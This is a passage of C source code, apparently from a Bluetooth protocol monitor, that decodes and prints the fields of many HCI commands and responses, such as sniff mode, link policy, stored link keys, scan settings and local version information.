print_timeout(cmd->timeout);
print_window(cmd->window);
print_interval(cmd->interval);
}
static void remote_oob_ext_data_request_reply_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_remote_oob_ext_data_request_reply *cmd = data;
print_bdaddr(cmd->bdaddr);
print_hash_p192(cmd->hash192);
print_randomizer_p192(cmd->randomizer192);
print_hash_p256(cmd->hash256);
print_randomizer_p256(cmd->randomizer256);
}
static void hold_mode_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_hold_mode *cmd = data;
print_handle(cmd->handle);
print_slot_625("Hold max interval", cmd->max_interval);
print_slot_625("Hold min interval", cmd->min_interval);
}
static void sniff_mode_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_sniff_mode *cmd = data;
print_handle(cmd->handle);
print_slot_625("Sniff max interval", cmd->max_interval);
print_slot_625("Sniff min interval", cmd->min_interval);
print_slot_125("Sniff attempt", cmd->attempt);
print_slot_125("Sniff timeout", cmd->timeout);
}
static void exit_sniff_mode_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_exit_sniff_mode *cmd = data;
print_handle(cmd->handle);
}
static void park_state_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_park_state *cmd = data;
print_handle(cmd->handle);
print_slot_625("Beacon max interval", cmd->max_interval);
print_slot_625("Beacon min interval", cmd->min_interval);
}
static void exit_park_state_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_exit_park_state *cmd = data;
print_handle(cmd->handle);
}
static void qos_setup_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_qos_setup *cmd = data;
print_handle(cmd->handle);
print_field("Flags: 0x%2.2x", cmd->flags);
print_service_type(cmd->service_type);
print_field("Token rate: %d", le32_to_cpu(cmd->token_rate));
print_field("Peak bandwidth: %d", le32_to_cpu(cmd->peak_bandwidth));
print_field("Latency: %d", le32_to_cpu(cmd->latency));
print_field("Delay variation: %d", le32_to_cpu(cmd->delay_variation));
}
static void role_discovery_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_role_discovery *cmd = data;
print_handle(cmd->handle);
}
static void role_discovery_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_role_discovery *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
print_role(rsp->role);
}
static void switch_role_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_switch_role *cmd = data;
print_bdaddr(cmd->bdaddr);
print_role(cmd->role);
}
static void read_link_policy_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_read_link_policy *cmd = data;
print_handle(cmd->handle);
}
static void read_link_policy_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_link_policy *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
print_link_policy(rsp->policy);
}
static void write_link_policy_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_link_policy *cmd = data;
print_handle(cmd->handle);
print_link_policy(cmd->policy);
}
static void write_link_policy_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_write_link_policy *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
}
static void read_default_link_policy_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_default_link_policy *rsp = data;
print_status(rsp->status);
print_link_policy(rsp->policy);
}
static void write_default_link_policy_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_default_link_policy *cmd = data;
print_link_policy(cmd->policy);
}
static void flow_spec_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_flow_spec *cmd = data;
print_handle(cmd->handle);
print_field("Flags: 0x%2.2x", cmd->flags);
print_flow_direction(cmd->direction);
print_service_type(cmd->service_type);
print_field("Token rate: %d", le32_to_cpu(cmd->token_rate));
print_field("Token bucket size: %d",
le32_to_cpu(cmd->token_bucket_size));
print_field("Peak bandwidth: %d", le32_to_cpu(cmd->peak_bandwidth));
print_field("Access latency: %d", le32_to_cpu(cmd->access_latency));
}
static void sniff_subrating_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_sniff_subrating *cmd = data;
print_handle(cmd->handle);
print_slot_625("Max latency", cmd->max_latency);
print_slot_625("Min remote timeout", cmd->min_remote_timeout);
print_slot_625("Min local timeout", cmd->min_local_timeout);
}
static void sniff_subrating_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_sniff_subrating *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
}
static void set_event_mask_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_set_event_mask *cmd = data;
print_event_mask(cmd->mask, events_table);
}
static void set_event_filter_cmd(const void *data, uint8_t size)
{
uint8_t type = *((const uint8_t *) data);
uint8_t filter;
const char *str;
switch (type) {
case 0x00:
str = "Clear All Filters";
break;
case 0x01:
str = "Inquiry Result";
break;
case 0x02:
str = "Connection Setup";
break;
default:
str = "Reserved";
break;
}
print_field("Type: %s (0x%2.2x)", str, type);
switch (type) {
case 0x00:
if (size > 1) {
print_text(COLOR_ERROR, " invalid parameter size");
packet_hexdump(data + 1, size - 1);
}
break;
case 0x01:
if (size < 2) {
print_text(COLOR_ERROR, " invalid parameter size");
break;
}
filter = *((const uint8_t *) (data + 1));
switch (filter) {
case 0x00:
str = "Return responses from all devices";
break;
case 0x01:
str = "Device with specific Class of Device";
break;
case 0x02:
str = "Device with specific BD_ADDR";
break;
default:
str = "Reserved";
break;
}
print_field("Filter: %s (0x%2.2x)", str, filter);
packet_hexdump(data + 2, size - 2);
break;
case 0x02:
filter = *((const uint8_t *) (data + 1));
switch (filter) {
case 0x00:
str = "Allow connections all devices";
break;
case 0x01:
str = "Allow connections with specific Class of Device";
break;
case 0x02:
str = "Allow connections with specific BD_ADDR";
break;
default:
str = "Reserved";
break;
}
if (size < 2) {
print_text(COLOR_ERROR, " invalid parameter size");
break;
}
print_field("Filter: %s (0x%2.2x)", str, filter);
packet_hexdump(data + 2, size - 2);
break;
default:
if (size < 2) {
print_text(COLOR_ERROR, " invalid parameter size");
break;
}
filter = *((const uint8_t *) (data + 1));
print_field("Filter: Reserved (0x%2.2x)", filter);
packet_hexdump(data + 2, size - 2);
break;
}
}
static void flush_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_flush *cmd = data;
print_handle(cmd->handle);
}
static void flush_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_flush *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
}
static void read_pin_type_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_pin_type *rsp = data;
print_status(rsp->status);
print_pin_type(rsp->pin_type);
}
static void write_pin_type_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_pin_type *cmd = data;
print_pin_type(cmd->pin_type);
}
static void read_stored_link_key_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_read_stored_link_key *cmd = data;
print_bdaddr(cmd->bdaddr);
print_field("Read all: 0x%2.2x", cmd->read_all);
}
static void read_stored_link_key_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_stored_link_key *rsp = data;
print_status(rsp->status);
print_field("Max num keys: %d", le16_to_cpu(rsp->max_num_keys));
print_field("Num keys: %d", le16_to_cpu(rsp->num_keys));
}
static void write_stored_link_key_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_stored_link_key *cmd = data;
print_field("Num keys: %d", cmd->num_keys);
packet_hexdump(data + 1, size - 1);
}
static void write_stored_link_key_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_write_stored_link_key *rsp = data;
print_status(rsp->status);
print_field("Num keys: %d", rsp->num_keys);
}
static void delete_stored_link_key_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_delete_stored_link_key *cmd = data;
print_bdaddr(cmd->bdaddr);
print_field("Delete all: 0x%2.2x", cmd->delete_all);
}
static void delete_stored_link_key_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_delete_stored_link_key *rsp = data;
print_status(rsp->status);
print_field("Num keys: %d", le16_to_cpu(rsp->num_keys));
}
static void write_local_name_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_local_name *cmd = data;
print_name(cmd->name);
}
static void read_local_name_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_local_name *rsp = data;
print_status(rsp->status);
print_name(rsp->name);
}
static void read_conn_accept_timeout_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_conn_accept_timeout *rsp = data;
print_status(rsp->status);
print_timeout(rsp->timeout);
}
static void write_conn_accept_timeout_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_conn_accept_timeout *cmd = data;
print_timeout(cmd->timeout);
}
static void read_page_timeout_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_page_timeout *rsp = data;
print_status(rsp->status);
print_timeout(rsp->timeout);
}
static void write_page_timeout_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_page_timeout *cmd = data;
print_timeout(cmd->timeout);
}
static void read_scan_enable_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_scan_enable *rsp = data;
print_status(rsp->status);
print_scan_enable(rsp->enable);
}
static void write_scan_enable_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_scan_enable *cmd = data;
print_scan_enable(cmd->enable);
}
static void read_page_scan_activity_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_page_scan_activity *rsp = data;
print_status(rsp->status);
print_interval(rsp->interval);
print_window(rsp->window);
}
static void write_page_scan_activity_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_page_scan_activity *cmd = data;
print_interval(cmd->interval);
print_window(cmd->window);
}
static void read_inquiry_scan_activity_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_inquiry_scan_activity *rsp = data;
print_status(rsp->status);
print_interval(rsp->interval);
print_window(rsp->window);
}
static void write_inquiry_scan_activity_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_inquiry_scan_activity *cmd = data;
print_interval(cmd->interval);
print_window(cmd->window);
}
static void read_auth_enable_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_auth_enable *rsp = data;
print_status(rsp->status);
print_auth_enable(rsp->enable);
}
static void write_auth_enable_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_auth_enable *cmd = data;
print_auth_enable(cmd->enable);
}
static void read_encrypt_mode_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_encrypt_mode *rsp = data;
print_status(rsp->status);
print_encrypt_mode(rsp->mode);
}
static void write_encrypt_mode_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_encrypt_mode *cmd = data;
print_encrypt_mode(cmd->mode);
}
static void read_class_of_dev_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_class_of_dev *rsp = data;
print_status(rsp->status);
print_dev_class(rsp->dev_class);
}
static void write_class_of_dev_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_class_of_dev *cmd = data;
print_dev_class(cmd->dev_class);
}
static void read_voice_setting_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_voice_setting *rsp = data;
print_status(rsp->status);
print_voice_setting(rsp->setting);
}
static void write_voice_setting_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_voice_setting *cmd = data;
print_voice_setting(cmd->setting);
}
static void read_auto_flush_timeout_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_read_auto_flush_timeout *cmd = data;
print_handle(cmd->handle);
}
static void read_auto_flush_timeout_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_auto_flush_timeout *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
print_flush_timeout(rsp->timeout);
}
static void write_auto_flush_timeout_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_auto_flush_timeout *cmd = data;
print_handle(cmd->handle);
print_flush_timeout(cmd->timeout);
}
static void write_auto_flush_timeout_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_write_auto_flush_timeout *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
}
static void read_num_broadcast_retrans_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_num_broadcast_retrans *rsp = data;
print_status(rsp->status);
print_num_broadcast_retrans(rsp->num_retrans);
}
static void write_num_broadcast_retrans_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_num_broadcast_retrans *cmd = data;
print_num_broadcast_retrans(cmd->num_retrans);
}
static void read_hold_mode_activity_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_hold_mode_activity *rsp = data;
print_status(rsp->status);
print_hold_mode_activity(rsp->activity);
}
static void write_hold_mode_activity_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_hold_mode_activity *cmd = data;
print_hold_mode_activity(cmd->activity);
}
static void read_tx_power_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_read_tx_power *cmd = data;
print_handle(cmd->handle);
print_power_type(cmd->type);
}
static void read_tx_power_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_tx_power *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
print_power_level(rsp->level, NULL);
}
static void read_sync_flow_control_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_sync_flow_control *rsp = data;
print_status(rsp->status);
print_enable("Flow control", rsp->enable);
}
static void write_sync_flow_control_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_sync_flow_control *cmd = data;
print_enable("Flow control", cmd->enable);
}
static void set_host_flow_control_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_set_host_flow_control *cmd = data;
print_host_flow_control(cmd->enable);
}
static void host_buffer_size_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_host_buffer_size *cmd = data;
print_field("ACL MTU: %-4d ACL max packet: %d",
le16_to_cpu(cmd->acl_mtu),
le16_to_cpu(cmd->acl_max_pkt));
print_field("SCO MTU: %-4d SCO max packet: %d",
cmd->sco_mtu,
le16_to_cpu(cmd->sco_max_pkt));
}
static void host_num_completed_packets_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_host_num_completed_packets *cmd = data;
print_field("Num handles: %d", cmd->num_handles);
print_handle(cmd->handle);
print_field("Count: %d", le16_to_cpu(cmd->count));
if (size > sizeof(*cmd))
packet_hexdump(data + sizeof(*cmd), size - sizeof(*cmd));
}
static void read_link_supv_timeout_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_read_link_supv_timeout *cmd = data;
print_handle(cmd->handle);
}
static void read_link_supv_timeout_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_link_supv_timeout *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
print_timeout(rsp->timeout);
}
static void write_link_supv_timeout_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_link_supv_timeout *cmd = data;
print_handle(cmd->handle);
print_timeout(cmd->timeout);
}
static void write_link_supv_timeout_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_write_link_supv_timeout *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
}
static void read_num_supported_iac_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_num_supported_iac *rsp = data;
print_status(rsp->status);
print_field("Number of IAC: %d", rsp->num_iac);
}
static void read_current_iac_lap_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_current_iac_lap *rsp = data;
uint8_t i;
print_status(rsp->status);
print_field("Number of IAC: %d", rsp->num_iac);
for (i = 0; i < rsp->num_iac; i++)
print_iac(rsp->iac_lap + (i * 3));
}
static void write_current_iac_lap_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_current_iac_lap *cmd = data;
uint8_t i;
print_field("Number of IAC: %d", cmd->num_iac);
for (i = 0; i < cmd->num_iac; i++)
print_iac(cmd->iac_lap + (i * 3));
}
static void read_page_scan_period_mode_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_page_scan_period_mode *rsp = data;
print_status(rsp->status);
print_pscan_period_mode(rsp->mode);
}
static void write_page_scan_period_mode_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_page_scan_period_mode *cmd = data;
print_pscan_period_mode(cmd->mode);
}
static void read_page_scan_mode_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_page_scan_mode *rsp = data;
print_status(rsp->status);
print_pscan_mode(rsp->mode);
}
static void write_page_scan_mode_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_page_scan_mode *cmd = data;
print_pscan_mode(cmd->mode);
}
static void set_afh_host_classification_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_set_afh_host_classification *cmd = data;
print_channel_map(cmd->map);
}
static void read_inquiry_scan_type_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_inquiry_scan_type *rsp = data;
print_status(rsp->status);
print_inquiry_scan_type(rsp->type);
}
static void write_inquiry_scan_type_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_inquiry_scan_type *cmd = data;
print_inquiry_scan_type(cmd->type);
}
static void read_inquiry_mode_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_inquiry_mode *rsp = data;
print_status(rsp->status);
print_inquiry_mode(rsp->mode);
}
static void write_inquiry_mode_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_inquiry_mode *cmd = data;
print_inquiry_mode(cmd->mode);
}
static void read_page_scan_type_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_page_scan_type *rsp = data;
print_status(rsp->status);
print_pscan_type(rsp->type);
}
static void write_page_scan_type_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_page_scan_type *cmd = data;
print_pscan_type(cmd->type);
}
static void read_afh_assessment_mode_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_afh_assessment_mode *rsp = data;
print_status(rsp->status);
print_enable("Mode", rsp->mode);
}
static void write_afh_assessment_mode_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_afh_assessment_mode *cmd = data;
print_enable("Mode", cmd->mode);
}
static void read_ext_inquiry_response_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_ext_inquiry_response *rsp = data;
print_status(rsp->status);
print_fec(rsp->fec);
print_eir(rsp->data, sizeof(rsp->data), false);
}
static void write_ext_inquiry_response_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_ext_inquiry_response *cmd = data;
print_fec(cmd->fec);
print_eir(cmd->data, sizeof(cmd->data), false);
}
static void refresh_encrypt_key_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_refresh_encrypt_key *cmd = data;
print_handle(cmd->handle);
}
static void read_simple_pairing_mode_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_simple_pairing_mode *rsp = data;
print_status(rsp->status);
print_enable("Mode", rsp->mode);
}
static void write_simple_pairing_mode_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_simple_pairing_mode *cmd = data;
print_enable("Mode", cmd->mode);
}
static void read_local_oob_data_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_local_oob_data *rsp = data;
print_status(rsp->status);
print_hash_p192(rsp->hash);
print_randomizer_p192(rsp->randomizer);
}
static void read_inquiry_resp_tx_power_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_inquiry_resp_tx_power *rsp = data;
print_status(rsp->status);
print_power_level(rsp->level, NULL);
}
static void write_inquiry_tx_power_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_inquiry_tx_power *cmd = data;
print_power_level(cmd->level, NULL);
}
static void read_erroneous_reporting_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_erroneous_reporting *rsp = data;
print_status(rsp->status);
print_enable("Mode", rsp->mode);
}
static void write_erroneous_reporting_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_erroneous_reporting *cmd = data;
print_enable("Mode", cmd->mode);
}
static void enhanced_flush_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_enhanced_flush *cmd = data;
const char *str;
print_handle(cmd->handle);
switch (cmd->type) {
case 0x00:
str = "Automatic flushable only";
break;
default:
str = "Reserved";
break;
}
print_field("Type: %s (0x%2.2x)", str, cmd->type);
}
static void send_keypress_notify_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_send_keypress_notify *cmd = data;
const char *str;
print_bdaddr(cmd->bdaddr);
switch (cmd->type) {
case 0x00:
str = "Passkey entry started";
break;
case 0x01:
str = "Passkey digit entered";
break;
case 0x02:
str = "Passkey digit erased";
break;
case 0x03:
str = "Passkey cleared";
break;
case 0x04:
str = "Passkey entry completed";
break;
default:
str = "Reserved";
break;
}
print_field("Type: %s (0x%2.2x)", str, cmd->type);
}
static void send_keypress_notify_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_send_keypress_notify *rsp = data;
print_status(rsp->status);
print_bdaddr(rsp->bdaddr);
}
static void set_event_mask_page2_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_set_event_mask_page2 *cmd = data;
print_event_mask(cmd->mask, events_page2_table);
}
static void read_location_data_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_location_data *rsp = data;
print_status(rsp->status);
print_location_domain_aware(rsp->domain_aware);
print_location_domain(rsp->domain);
print_location_domain_options(rsp->domain_options);
print_location_options(rsp->options);
}
static void write_location_data_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_location_data *cmd = data;
print_location_domain_aware(cmd->domain_aware);
print_location_domain(cmd->domain);
print_location_domain_options(cmd->domain_options);
print_location_options(cmd->options);
}
static void read_flow_control_mode_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_flow_control_mode *rsp = data;
print_status(rsp->status);
print_flow_control_mode(rsp->mode);
}
static void write_flow_control_mode_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_flow_control_mode *cmd = data;
print_flow_control_mode(cmd->mode);
}
static void read_enhanced_tx_power_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_read_enhanced_tx_power *cmd = data;
print_handle(cmd->handle);
print_power_type(cmd->type);
}
static void read_enhanced_tx_power_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_enhanced_tx_power *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
print_power_level(rsp->level_gfsk, "GFSK");
print_power_level(rsp->level_dqpsk, "DQPSK");
print_power_level(rsp->level_8dpsk, "8DPSK");
}
static void short_range_mode_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_short_range_mode *cmd = data;
print_phy_handle(cmd->phy_handle);
print_enable("Short range mode", cmd->mode);
}
static void read_le_host_supported_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_le_host_supported *rsp = data;
print_status(rsp->status);
print_field("Supported: 0x%2.2x", rsp->supported);
print_field("Simultaneous: 0x%2.2x", rsp->simultaneous);
}
static void write_le_host_supported_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_le_host_supported *cmd = data;
print_field("Supported: 0x%2.2x", cmd->supported);
print_field("Simultaneous: 0x%2.2x", cmd->simultaneous);
}
static void set_reserved_lt_addr_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_set_reserved_lt_addr *cmd = data;
print_lt_addr(cmd->lt_addr);
}
static void set_reserved_lt_addr_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_set_reserved_lt_addr *rsp = data;
print_status(rsp->status);
print_lt_addr(rsp->lt_addr);
}
static void delete_reserved_lt_addr_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_delete_reserved_lt_addr *cmd = data;
print_lt_addr(cmd->lt_addr);
}
static void delete_reserved_lt_addr_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_delete_reserved_lt_addr *rsp = data;
print_status(rsp->status);
print_lt_addr(rsp->lt_addr);
}
static void set_slave_broadcast_data_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_set_slave_broadcast_data *cmd = data;
print_lt_addr(cmd->lt_addr);
print_broadcast_fragment(cmd->fragment);
print_field("Length: %d", cmd->length);
if (size - 3 != cmd->length)
print_text(COLOR_ERROR, "invalid data size (%d != %d)",
size - 3, cmd->length);
packet_hexdump(data + 3, size - 3);
}
static void set_slave_broadcast_data_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_set_slave_broadcast_data *rsp = data;
print_status(rsp->status);
print_lt_addr(rsp->lt_addr);
}
static void read_sync_train_params_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_sync_train_params *rsp = data;
print_status(rsp->status);
print_interval(rsp->interval);
print_field("Timeout: %.3f msec (0x%8.8x)",
le32_to_cpu(rsp->timeout) * 0.625,
le32_to_cpu(rsp->timeout));
print_field("Service data: 0x%2.2x", rsp->service_data);
}
static void write_sync_train_params_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_sync_train_params *cmd = data;
print_slot_625("Min interval", cmd->min_interval);
print_slot_625("Max interval", cmd->max_interval);
print_field("Timeout: %.3f msec (0x%8.8x)",
le32_to_cpu(cmd->timeout) * 0.625,
le32_to_cpu(cmd->timeout));
print_field("Service data: 0x%2.2x", cmd->service_data);
}
static void write_sync_train_params_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_write_sync_train_params *rsp = data;
print_status(rsp->status);
print_interval(rsp->interval);
}
static void read_secure_conn_support_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_secure_conn_support *rsp = data;
print_status(rsp->status);
print_enable("Support", rsp->support);
}
static void write_secure_conn_support_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_secure_conn_support *cmd = data;
print_enable("Support", cmd->support);
}
static void read_auth_payload_timeout_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_read_auth_payload_timeout *cmd = data;
print_handle(cmd->handle);
}
static void read_auth_payload_timeout_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_auth_payload_timeout *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
print_auth_payload_timeout(rsp->timeout);
}
static void write_auth_payload_timeout_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_auth_payload_timeout *cmd = data;
print_handle(cmd->handle);
print_auth_payload_timeout(cmd->timeout);
}
static void write_auth_payload_timeout_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_write_auth_payload_timeout *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
}
static void read_local_oob_ext_data_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_local_oob_ext_data *rsp = data;
print_status(rsp->status);
print_hash_p192(rsp->hash192);
print_randomizer_p192(rsp->randomizer192);
print_hash_p256(rsp->hash256);
print_randomizer_p256(rsp->randomizer256);
}
static void read_ext_page_timeout_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_ext_page_timeout *rsp = data;
print_status(rsp->status);
print_timeout(rsp->timeout);
}
static void write_ext_page_timeout_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_ext_page_timeout *cmd = data;
print_timeout(cmd->timeout);
}
static void read_ext_inquiry_length_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_ext_inquiry_length *rsp = data;
print_status(rsp->status);
print_interval(rsp->interval);
}
static void write_ext_inquiry_length_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_ext_inquiry_length *cmd = data;
print_interval(cmd->interval);
}
static void read_local_version_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_local_version *rsp = data;
uint16_t manufacturer;
print_status(rsp->status);
print_hci_version(rsp->hci_ver, rsp->hci_rev);
manufacturer = le16_to_cpu(rsp->manufacturer);
if (index_current < MAX_INDEX) {
switch (index_list[index_current].type) {
case HCI_PRIMARY:
print_lmp_version(rsp->lmp_ver, rsp->lmp_subver);
break;
case HCI_AMP:
print_pal_version(rsp->lmp_ver, rsp->lmp_subver);
break;
}
index_list[index_current].manufacturer = manufacturer;
}
print_manufacturer(rsp->manufacturer);
switch (manufacturer) {
case 15:
print_manufacturer_broadcom(rsp->lmp_subver, rsp->hci_rev);
break;
}
}
static void read_local_commands_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_local_commands *rsp = data;
print_status(rsp->status);
print_commands(rsp->commands);
}
static void read_local_features_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_local_features *rsp = data;
print_status(rsp->status);
print_features(0, rsp->features, 0x00);
}
static void read_local_ext_features_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_read_local_ext_features *cmd = data;
print_field("Page: %d", cmd->page);
}
static void read_local_ext_features_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_local_ext_features *rsp = data;
print_status(rsp->status);
print_field("Page: %d/%d", rsp->page, rsp->max_page);
print_features(rsp->page, rsp->features, 0x00);
}
static void read_buffer_size_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_buffer_size *rsp = data;
print_status(rsp->status);
print_field("ACL MTU: %-4d ACL max packet: %d",
le16_to_cpu(rsp->acl_mtu),
le16_to_cpu(rsp->acl_max_pkt));
print_field("SCO MTU: %-4d SCO max packet: %d",
rsp->sco_mtu,
le16_to_cpu(rsp->sco_max_pkt));
}
static void read_country_code_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_country_code *rsp = data;
const char *str;
print_status(rsp->status);
switch (rsp->code) {
case 0x00:
str = "North America, Europe*, Japan";
break;
case 0x01:
str = "France";
break;
default:
str = "Reserved";
break;
}
print_field("Country code: %s (0x%2.2x)", str, rsp->code);
}
